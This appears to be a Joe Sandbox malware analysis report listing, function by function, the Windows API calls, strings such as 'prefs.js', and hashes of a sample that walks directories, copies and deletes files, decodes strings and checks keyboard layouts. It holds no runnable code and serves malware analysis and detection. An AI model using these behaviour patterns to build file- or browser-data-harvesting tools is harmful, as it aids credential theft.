StrCmpCA.SHLWAPI(?,00420FC4), ref: 023F4852
StrCmpCA.SHLWAPI(?,00420FC8), ref: 023F4868
FindNextFileA.KERNEL32(000000FF,?), ref: 023F48F2
FindClose.KERNEL32(000000FF), ref: 023F4907
lstrcat.KERNEL32(?,0064A524), ref: 023F492C
lstrcat.KERNEL32(?,0064A22C), ref: 023F493F
lstrlen.KERNEL32(?), ref: 023F494C
lstrlen.KERNEL32(?), ref: 023F495D

Memory Dump Source

Source File: 00000000.00000002.2281115890.00000000023E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 023E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_23e0000_4M3JIACIWk.jbxd

Yara matches

Similarity

API ID: Find$FileHeaplstrcatlstrlen$AllocateCloseFirstNextProcesswsprintf
String ID:
API String ID: 671575355-0
Opcode ID: 30bce43db2ecf0344ca22bb06d90d35447f3f69f35e59fe64c42277d0c46a2d3
Instruction ID: 7ec16a7bc4e1a464873e2d631dbbf3b36cf573b27b1fbd065f524feb1ca967bd
Opcode Fuzzy Hash: 30bce43db2ecf0344ca22bb06d90d35447f3f69f35e59fe64c42277d0c46a2d3
Instruction Fuzzy Hash: 7D5184B9580218ABCB74EBF0ED89FEE737DAB58700F404588E74992190DB759B84CF91

Function 023F4107 Relevance: 18.1, APIs: 12, Instructions: 133fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 023F412A
FindFirstFileA.KERNEL32(?,?), ref: 023F4141
StrCmpCA.SHLWAPI(?,00420FAC), ref: 023F416F
StrCmpCA.SHLWAPI(?,00420FB0), ref: 023F4185
FindNextFileA.KERNEL32(000000FF,?), ref: 023F42D3
FindClose.KERNEL32(000000FF), ref: 023F42E8

Memory Dump Source

Source File: 00000000.00000002.2281115890.00000000023E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 023E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_23e0000_4M3JIACIWk.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID:
API String ID: 180737720-0
Opcode ID: 1ae905db5480c4bbf44b7bf6a61368e664d5da2e6ab4683df7d46ab6fe3d119e
Instruction ID: 556e2dbf9ebb36f95c0bb36d5ab466cc9de89b24e973574b103e811100154ab4
Opcode Fuzzy Hash: 1ae905db5480c4bbf44b7bf6a61368e664d5da2e6ab4683df7d46ab6fe3d119e
Instruction Fuzzy Hash: 5E5173B5900218BBCB24FBF0ED85EEA737DBB48300F004599A74992080DB75DB89CF95

Function 0040ED20 Relevance: 17.9, APIs: 9, Strings: 1, Instructions: 369fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 0040ED3E
FindFirstFileA.KERNEL32(?,?), ref: 0040ED55
StrCmpCA.SHLWAPI(?,00421538), ref: 0040EDAB
StrCmpCA.SHLWAPI(?,0042153C), ref: 0040EDC1
FindNextFileA.KERNEL32(000000FF,?), ref: 0040F2AE
FindClose.KERNEL32(000000FF), ref: 0040F2C3

Strings

%s\*.*, xrefs: 0040ED32

Memory Dump Source

Source File: 00000000.00000002.2280583655.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2280583655.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_4M3JIACIWk.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\*.*
API String ID: 180737720-1013718255
Opcode ID: 17c01f8448e3f6aceff949048b193885a00d9ad3e9dcc46d8aed4f84564bc9ce
Instruction ID: 3007dda49b16e6c87372febce5c45cbfe381bf5ef72a3521d52464c3f4e34f22
Opcode Fuzzy Hash: 17c01f8448e3f6aceff949048b193885a00d9ad3e9dcc46d8aed4f84564bc9ce
Instruction Fuzzy Hash: 41E13571912118AADB14FB61CD51EEE7338AF54314F4045EEB40A62092EF386FDACF69

Function 0040DE10 Relevance: 16.1, APIs: 7, Strings: 2, Instructions: 370fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

Part of subcall function 0041A9B0: lstrlenA.KERNEL32(?,00421110,?,00000000,00420AEF), ref: 0041A9C5
Part of subcall function 0041A9B0: lstrcpy.KERNEL32(00000000), ref: 0041AA04
Part of subcall function 0041A9B0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AA12

Part of subcall function 0041A8A0: lstrcpy.KERNEL32(?,B), ref: 0041A905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,\*.*,00420C2E), ref: 0040DE5E
StrCmpCA.SHLWAPI(?,004214C8), ref: 0040DEAE
StrCmpCA.SHLWAPI(?,004214CC), ref: 0040DEC4
FindNextFileA.KERNEL32(000000FF,?), ref: 0040E3E0
FindClose.KERNEL32(000000FF), ref: 0040E3F2

Strings

\*.*, xrefs: 0040DE26
4@, xrefs: 0040DE32, 0040E400, 0040DEF3, 0040DE75, 0040DEF6

Memory Dump Source

Source File: 00000000.00000002.2280583655.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2280583655.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_4M3JIACIWk.jbxd

Yara matches

Similarity

API ID: Findlstrcpy$File$CloseFirstNextlstrcatlstrlen
String ID: 4@$\*.*
API String ID: 2325840235-1993203227
Opcode ID: 808ac54ebf540463c673b75c037e1199791dcd6b6de971305d57ec6faa9f6a30
Instruction ID: cfdc3591377451865113f0b5848cbea5bd15bf7eccde512516250cd90852f391
Opcode Fuzzy Hash: 808ac54ebf540463c673b75c037e1199791dcd6b6de971305d57ec6faa9f6a30
Instruction Fuzzy Hash: 5CF1D0718111189ADB15FB61DD95EEE7338AF14314F8045EFA00A62091EF386BDACF69

Function 0040F6B0 Relevance: 16.0, APIs: 8, Strings: 1, Instructions: 275fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

Part of subcall function 0041A920: lstrcpy.KERNEL32(00000000,?), ref: 0041A972
Part of subcall function 0041A920: lstrcatA.KERNEL32(00000000), ref: 0041A982

Part of subcall function 0041A9B0: lstrlenA.KERNEL32(?,00421110,?,00000000,00420AEF), ref: 0041A9C5
Part of subcall function 0041A9B0: lstrcpy.KERNEL32(00000000), ref: 0041AA04
Part of subcall function 0041A9B0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AA12

Part of subcall function 0041A8A0: lstrcpy.KERNEL32(?,B), ref: 0041A905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,004215B8,00420D96), ref: 0040F71E
StrCmpCA.SHLWAPI(?,004215BC), ref: 0040F76F
StrCmpCA.SHLWAPI(?,004215C0), ref: 0040F785
FindNextFileA.KERNEL32(000000FF,?), ref: 0040FAB1
FindClose.KERNEL32(000000FF), ref: 0040FAC3

Strings

prefs.js, xrefs: 0040F812

Memory Dump Source

Source File: 00000000.00000002.2280583655.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2280583655.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_4M3JIACIWk.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID: prefs.js
API String ID: 3334442632-3783873740
Opcode ID: 1e3647e3f7a982ad908f2651c845e7cc1bf8978409dfaa1a6776eae6255cbf84
Instruction ID: 03b4e3240ed1b335229faca8164051f94e7388f89c5e809ad56520da5e6b4575
Opcode Fuzzy Hash: 1e3647e3f7a982ad908f2651c845e7cc1bf8978409dfaa1a6776eae6255cbf84
Instruction Fuzzy Hash: B0B194719011089BCB24FF61DD51FEE7379AF54304F4081BEA40A96191EF389B9ACF9A

Function 004016D0 Relevance: 14.5, APIs: 7, Strings: 1, Instructions: 492fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,00425114,?,00401F2C,?,004251BC,?,?,00000000,?,00000000), ref: 00401923
StrCmpCA.SHLWAPI(?,00425264), ref: 00401973
StrCmpCA.SHLWAPI(?,0042530C), ref: 00401989
CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 00401D40
DeleteFileA.KERNEL32(00000000), ref: 00401DCA
FindNextFileA.KERNEL32(000000FF,?), ref: 00401E20
FindClose.KERNEL32(000000FF), ref: 00401E32

Part of subcall function 0041A920: lstrcpy.KERNEL32(00000000,?), ref: 0041A972
Part of subcall function 0041A920: lstrcatA.KERNEL32(00000000), ref: 0041A982

Part of subcall function 0041A9B0: lstrlenA.KERNEL32(?,00421110,?,00000000,00420AEF), ref: 0041A9C5
Part of subcall function 0041A9B0: lstrcpy.KERNEL32(00000000), ref: 0041AA04
Part of subcall function 0041A9B0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AA12

Part of subcall function 0041A8A0: lstrcpy.KERNEL32(?,B), ref: 0041A905

Strings

\*.*, xrefs: 004017F1

Memory Dump Source

Source File: 00000000.00000002.2280583655.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2280583655.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_4M3JIACIWk.jbxd

Yara matches

Similarity

API ID: Filelstrcpy$Find$lstrcat$CloseCopyDeleteFirstNextlstrlen
String ID: \*.*
API String ID: 1415058207-1173974218
Opcode ID: 6b77bc6ce782c52a4be10e050969eba881b4cf3ff4cfc38040b618d0c041b4e5
Instruction ID: fa2d6fe3b05614b5a30e4509255bbbb1abe281ca63e4f804ed0983082d36a12e
Opcode Fuzzy Hash: 6b77bc6ce782c52a4be10e050969eba881b4cf3ff4cfc38040b618d0c041b4e5
Instruction Fuzzy Hash: 681260719111189BCB15FB61CD96EEE7338AF14314F4045AEB10A62091EF386FDACFA9

Function 023EEF87 Relevance: 13.9, APIs: 9, Instructions: 369fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 023EEFA5
FindFirstFileA.KERNEL32(?,?), ref: 023EEFBC
StrCmpCA.SHLWAPI(?,00421538), ref: 023EF012
StrCmpCA.SHLWAPI(?,0042153C), ref: 023EF028
FindNextFileA.KERNEL32(000000FF,?), ref: 023EF515
FindClose.KERNEL32(000000FF), ref: 023EF52A

Memory Dump Source

Source File: 00000000.00000002.2281115890.00000000023E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 023E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_23e0000_4M3JIACIWk.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID:
API String ID: 180737720-0
Opcode ID: 5017a4ae4b27de286babc421e1f90f6b26d6cd092db73d8e186e82182fbe0c2c
Instruction ID: 28aa2f291871c3516756ae3b68dd1cabda19d45bef011200cc4c15c6c9d467cf
Opcode Fuzzy Hash: 5017a4ae4b27de286babc421e1f90f6b26d6cd092db73d8e186e82182fbe0c2c
Instruction Fuzzy Hash: DDE1BD729112189ADFA8FB60ED51EEE733AAF54300F4041D9B60E62591EF706F89CF51

Function 023EDCE7 Relevance: 13.8, APIs: 9, Instructions: 255fileCOMMON

Download Yara Rule

APIs

Part of subcall function 023FA9A7: lstrcpy.KERNEL32(00420E17,00000000), ref: 023FA9EF

Part of subcall function 023FAB87: lstrcpy.KERNEL32(00000000,?), ref: 023FABD9
Part of subcall function 023FAB87: lstrcat.KERNEL32(00000000), ref: 023FABE9

Part of subcall function 023FAC17: lstrlen.KERNEL32(?,0064A1F0,?,00424FB4,00420E17), ref: 023FAC2C
Part of subcall function 023FAC17: lstrcpy.KERNEL32(00000000), ref: 023FAC6B
Part of subcall function 023FAC17: lstrcat.KERNEL32(00000000,00000000), ref: 023FAC79

Part of subcall function 023FAB07: lstrcpy.KERNEL32(?,00420E17), ref: 023FAB6C

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,004214B0,00420C2A), ref: 023EDD52
StrCmpCA.SHLWAPI(?,004214B4), ref: 023EDD9A
StrCmpCA.SHLWAPI(?,004214B8), ref: 023EDDB0
FindNextFileA.KERNEL32(000000FF,?), ref: 023EE033
FindClose.KERNEL32(000000FF), ref: 023EE045

Memory Dump Source

Source File: 00000000.00000002.2281115890.00000000023E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 023E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_23e0000_4M3JIACIWk.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID:
API String ID: 3334442632-0
Opcode ID: 19e1283fff7b9399e04994cea590238412c6d56de050716b623985b6cf8af604
Instruction ID: 3ed108ab1681e61e776ebfef865fcbcc1f9b60ea3491e1d3a33239f630bfdb52
Opcode Fuzzy Hash: 19e1283fff7b9399e04994cea590238412c6d56de050716b623985b6cf8af604
Instruction Fuzzy Hash: 199144729002189BCF64FBB0ED55DEE737EAF95300F008669A94E96190EE349B5C8F91

Function 0040DA80 Relevance: 13.8, APIs: 9, Instructions: 255fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

Part of subcall function 0041A920: lstrcpy.KERNEL32(00000000,?), ref: 0041A972
Part of subcall function 0041A920: lstrcatA.KERNEL32(00000000), ref: 0041A982

Part of subcall function 0041A9B0: lstrlenA.KERNEL32(?,00421110,?,00000000,00420AEF), ref: 0041A9C5
Part of subcall function 0041A9B0: lstrcpy.KERNEL32(00000000), ref: 0041AA04
Part of subcall function 0041A9B0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AA12

Part of subcall function 0041A8A0: lstrcpy.KERNEL32(?,B), ref: 0041A905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,004214B0,00420C2A), ref: 0040DAEB
StrCmpCA.SHLWAPI(?,004214B4), ref: 0040DB33
StrCmpCA.SHLWAPI(?,004214B8), ref: 0040DB49
FindNextFileA.KERNEL32(000000FF,?), ref: 0040DDCC
FindClose.KERNEL32(000000FF), ref: 0040DDDE

Memory Dump Source

Source File: 00000000.00000002.2280583655.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2280583655.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_4M3JIACIWk.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID:
API String ID: 3334442632-0
Opcode ID: cb963d4a19e0741f27c6405a3099effca6cff126aea0ca95f281292b31be4223
Instruction ID: 591a4703b72fe71aa373ebdc6cd180767c9b728ba7d7680c081136e576a94052
Opcode Fuzzy Hash: cb963d4a19e0741f27c6405a3099effca6cff126aea0ca95f281292b31be4223
Instruction Fuzzy Hash: 3B91A776900104ABCB14FBB1EC469ED733DAF84304F40856EF81A961C1EE389B5DCB9A

Function 023EF917 Relevance: 12.3, APIs: 8, Instructions: 275fileCOMMON

Download Yara Rule

APIs

Part of subcall function 023FA9A7: lstrcpy.KERNEL32(00420E17,00000000), ref: 023FA9EF

Part of subcall function 023FAB87: lstrcpy.KERNEL32(00000000,?), ref: 023FABD9
Part of subcall function 023FAB87: lstrcat.KERNEL32(00000000), ref: 023FABE9

Part of subcall function 023FAC17: lstrlen.KERNEL32(?,0064A1F0,?,00424FB4,00420E17), ref: 023FAC2C
Part of subcall function 023FAC17: lstrcpy.KERNEL32(00000000), ref: 023FAC6B
Part of subcall function 023FAC17: lstrcat.KERNEL32(00000000,00000000), ref: 023FAC79

Part of subcall function 023FAB07: lstrcpy.KERNEL32(?,00420E17), ref: 023FAB6C

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,004215B8,00420D96), ref: 023EF985
StrCmpCA.SHLWAPI(?,004215BC), ref: 023EF9D6
StrCmpCA.SHLWAPI(?,004215C0), ref: 023EF9EC
FindNextFileA.KERNEL32(000000FF,?), ref: 023EFD18
FindClose.KERNEL32(000000FF), ref: 023EFD2A

Memory Dump Source

Source File: 00000000.00000002.2281115890.00000000023E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 023E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_23e0000_4M3JIACIWk.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID:
API String ID: 3334442632-0
Opcode ID: 876e2798c7396c4a4386e432ec3129558d1ad4a2c594bc6eff74cfd2f440caaf
Instruction ID: ab25b1d51297d622963832c4a6a55ceb51f46fa9ec7775eabc0ce9778007e098
Opcode Fuzzy Hash: 876e2798c7396c4a4386e432ec3129558d1ad4a2c594bc6eff74cfd2f440caaf
Instruction Fuzzy Hash: A7B11E719002189BCF74FF60EDA5EEE737AAF55300F4081A9A54E96590EF309B49CF91

Function 0040E430 Relevance: 11.0, APIs: 4, Strings: 2, Instructions: 514fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

Part of subcall function 0041A920: lstrcpy.KERNEL32(00000000,?), ref: 0041A972
Part of subcall function 0041A920: lstrcatA.KERNEL32(00000000), ref: 0041A982

Part of subcall function 0041A9B0: lstrlenA.KERNEL32(?,00421110,?,00000000,00420AEF), ref: 0041A9C5
Part of subcall function 0041A9B0: lstrcpy.KERNEL32(00000000), ref: 0041AA04
Part of subcall function 0041A9B0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AA12

Part of subcall function 0041A8A0: lstrcpy.KERNEL32(?,B), ref: 0041A905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,\*.*,00420D73), ref: 0040E4A2
StrCmpCA.SHLWAPI(?,004214F8), ref: 0040E4F2
StrCmpCA.SHLWAPI(?,004214FC), ref: 0040E508
FindNextFileA.KERNEL32(000000FF,?), ref: 0040EBDF

Strings

@, xrefs: 0040EBF5, 0040E5EB, 0040E71C, 0040E85B, 0040E4B9, 0040E5EE, 0040E71F, 0040E85E
\*.*, xrefs: 0040E44D

Memory Dump Source

Source File: 00000000.00000002.2280583655.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2280583655.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_4M3JIACIWk.jbxd

Yara matches

Similarity

API ID: lstrcpy$FileFindlstrcat$FirstNextlstrlen
String ID: \*.*$@
API String ID: 433455689-2355794846
Opcode ID: f66feada1159486c5f539b2798b5b41736558756ad5056c64c98908e290d890f
Instruction ID: 32b04220dc81db1066fec36fe382e2e0147ddb409d88bf53f78a4e8ff9751907
Opcode Fuzzy Hash: f66feada1159486c5f539b2798b5b41736558756ad5056c64c98908e290d890f
Instruction Fuzzy Hash: 2612D5719111189ACB14FB71DD96EED7338AF54314F4045AEB00A62091EF386FDACFAA

Function 023E1937 Relevance: 11.0, APIs: 7, Instructions: 492fileCOMMON

Download Yara Rule

APIs

Part of subcall function 023FA9A7: lstrcpy.KERNEL32(00420E17,00000000), ref: 023FA9EF

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,00425114,?,?,?,004251BC,?,?,00000000,?,00000000), ref: 023E1B8A
StrCmpCA.SHLWAPI(?,00425264), ref: 023E1BDA
StrCmpCA.SHLWAPI(?,0042530C), ref: 023E1BF0
CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 023E1FA7
DeleteFileA.KERNEL32(00000000), ref: 023E2031
FindNextFileA.KERNEL32(000000FF,?), ref: 023E2087
FindClose.KERNEL32(000000FF), ref: 023E2099

Part of subcall function 023FAB87: lstrcpy.KERNEL32(00000000,?), ref: 023FABD9
Part of subcall function 023FAB87: lstrcat.KERNEL32(00000000), ref: 023FABE9

Part of subcall function 023FAC17: lstrlen.KERNEL32(?,0064A1F0,?,00424FB4,00420E17), ref: 023FAC2C
Part of subcall function 023FAC17: lstrcpy.KERNEL32(00000000), ref: 023FAC6B
Part of subcall function 023FAC17: lstrcat.KERNEL32(00000000,00000000), ref: 023FAC79

Part of subcall function 023FAB07: lstrcpy.KERNEL32(?,00420E17), ref: 023FAB6C

Memory Dump Source

Source File: 00000000.00000002.2281115890.00000000023E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 023E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_23e0000_4M3JIACIWk.jbxd

Yara matches

Similarity

API ID: Filelstrcpy$Find$lstrcat$CloseCopyDeleteFirstNextlstrlen
String ID:
API String ID: 1415058207-0
Opcode ID: 30c097478159a8560779315bb3f44ea3a312a4c7821e37151fb7f80196eac8b7
Instruction ID: 6266d2615eb7463e120096e9fe10a342a5465b255418e5f0828b275a53d1ac1b
Opcode Fuzzy Hash: 30c097478159a8560779315bb3f44ea3a312a4c7821e37151fb7f80196eac8b7
Instruction Fuzzy Hash: 9B12BC719102189BCF69FB60EDA5EEE737AAF54300F4045A9A60E62190EF746F8DCF50

Function 023EE077 Relevance: 10.9, APIs: 7, Instructions: 370fileCOMMON

Download Yara Rule

APIs

Part of subcall function 023FA9A7: lstrcpy.KERNEL32(00420E17,00000000), ref: 023FA9EF

Part of subcall function 023FAC17: lstrlen.KERNEL32(?,0064A1F0,?,00424FB4,00420E17), ref: 023FAC2C
Part of subcall function 023FAC17: lstrcpy.KERNEL32(00000000), ref: 023FAC6B
Part of subcall function 023FAC17: lstrcat.KERNEL32(00000000,00000000), ref: 023FAC79

Part of subcall function 023FAB07: lstrcpy.KERNEL32(?,00420E17), ref: 023FAB6C

FindFirstFileA.KERNEL32(00000000,?,00000000,?,004214C0,00420C2E), ref: 023EE0C5
StrCmpCA.SHLWAPI(?,004214C8), ref: 023EE115
StrCmpCA.SHLWAPI(?,004214CC), ref: 023EE12B
FindNextFileA.KERNEL32(000000FF,?), ref: 023EE647
FindClose.KERNEL32(000000FF), ref: 023EE659

Memory Dump Source

Source File: 00000000.00000002.2281115890.00000000023E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 023E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_23e0000_4M3JIACIWk.jbxd

Yara matches

Similarity

API ID: Findlstrcpy$File$CloseFirstNextlstrcatlstrlen
String ID:
API String ID: 2325840235-0
Opcode ID: d4d8f9a0da4a9b9920f9e464ba6309a1b6ed10e747b0e3dce0e8f9b123024142
Instruction ID: a444bb7dd2f75f0636da0196675c1d3ff5ef9fdf900f098dab08052552ef1dd9
Opcode Fuzzy Hash: d4d8f9a0da4a9b9920f9e464ba6309a1b6ed10e747b0e3dce0e8f9b123024142
Instruction Fuzzy Hash: B9F171715142289ACF79FB60EDA4EEE737AAF54300F4041DAA14E621A1EF346F89CF51

Function 00417B90 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 114memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

GetKeyboardLayoutList.USER32(00000000,00000000,004205AF), ref: 00417BE1
LocalAlloc.KERNEL32(00000040,?), ref: 00417BF9
GetKeyboardLayoutList.USER32(?,00000000), ref: 00417C0D
GetLocaleInfoA.KERNEL32(?,00000002,?,00000200), ref: 00417C62
LocalFree.KERNEL32(00000000), ref: 00417D22

Strings

/ , xrefs: 00417C7F

Memory Dump Source

Source File: 00000000.00000002.2280583655.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2280583655.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_4M3JIACIWk.jbxd

Yara matches

Similarity

API ID: KeyboardLayoutListLocal$AllocFreeInfoLocalelstrcpy
String ID: /
API String ID: 3090951853-4001269591
Opcode ID: 1912af0442f4f1b3bb0e5bffceb408ffebc7a006be0e67e5919f9285ea41dafa
Instruction ID: 4337a3d4516c1007e731de4e6e4702528bfdb1ea37c67bd3aa396c5a1b158d15
Opcode Fuzzy Hash: 1912af0442f4f1b3bb0e5bffceb408ffebc7a006be0e67e5919f9285ea41dafa
Instruction Fuzzy Hash: 6B415E71941118ABDB24DB94DC99FEEB378FF44714F20419AE10962281DB382FC6CFA5

Function 023ECA87 Relevance: 10.6, APIs: 7, Instructions: 93stringencryptionCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 023ECABA
lstrlen.KERNEL32(?,00000001,?,00000000,00000000,00000000), ref: 023ECAD8
CryptStringToBinaryA.CRYPT32(?,00000000), ref: 023ECAE3
memcpy.MSVCRT(?,?,?), ref: 023ECB79
lstrcat.KERNEL32(?,00420B46), ref: 023ECBAA
lstrcat.KERNEL32(?,00420B47), ref: 023ECBBE
lstrcat.KERNEL32(?,00420B4E), ref: 023ECBDF

Memory Dump Source

Source File: 00000000.00000002.2281115890.00000000023E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 023E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_23e0000_4M3JIACIWk.jbxd

Yara matches

Similarity

API ID: lstrcat$BinaryCryptStringlstrlenmemcpymemset
String ID:
API String ID: 1498829745-0
Opcode ID: 8afa8c5297eb8f4e39a0d79a998b97b224f9fa32b0e1124346c3568978b0ec32
Instruction ID: 2ea193b13d33c23546a824e9aec22820a865847cbf89a9e2d1564050f98f141f
Opcode Fuzzy Hash: 8afa8c5297eb8f4e39a0d79a998b97b224f9fa32b0e1124346c3568978b0ec32
Instruction Fuzzy Hash: E241627894422AEFDB10DFD0DC88BEEBBB9BB44304F1045A9E50AA6280D7745B84CF95

Function 0040C820 Relevance: 10.6, APIs: 7, Instructions: 93stringencryptionCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 0040C853
lstrlenA.KERNEL32(?,00000001,?,00000000,00000000,00000000,00000000,?,0079D4F0), ref: 0040C871
CryptStringToBinaryA.CRYPT32(?,00000000), ref: 0040C87C
memcpy.MSVCRT(?,?,?), ref: 0040C912
lstrcatA.KERNEL32(?,00420B46), ref: 0040C943
lstrcatA.KERNEL32(?,00420B47), ref: 0040C957
lstrcatA.KERNEL32(?,00420B4E), ref: 0040C978

Memory Dump Source

Source File: 00000000.00000002.2280583655.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

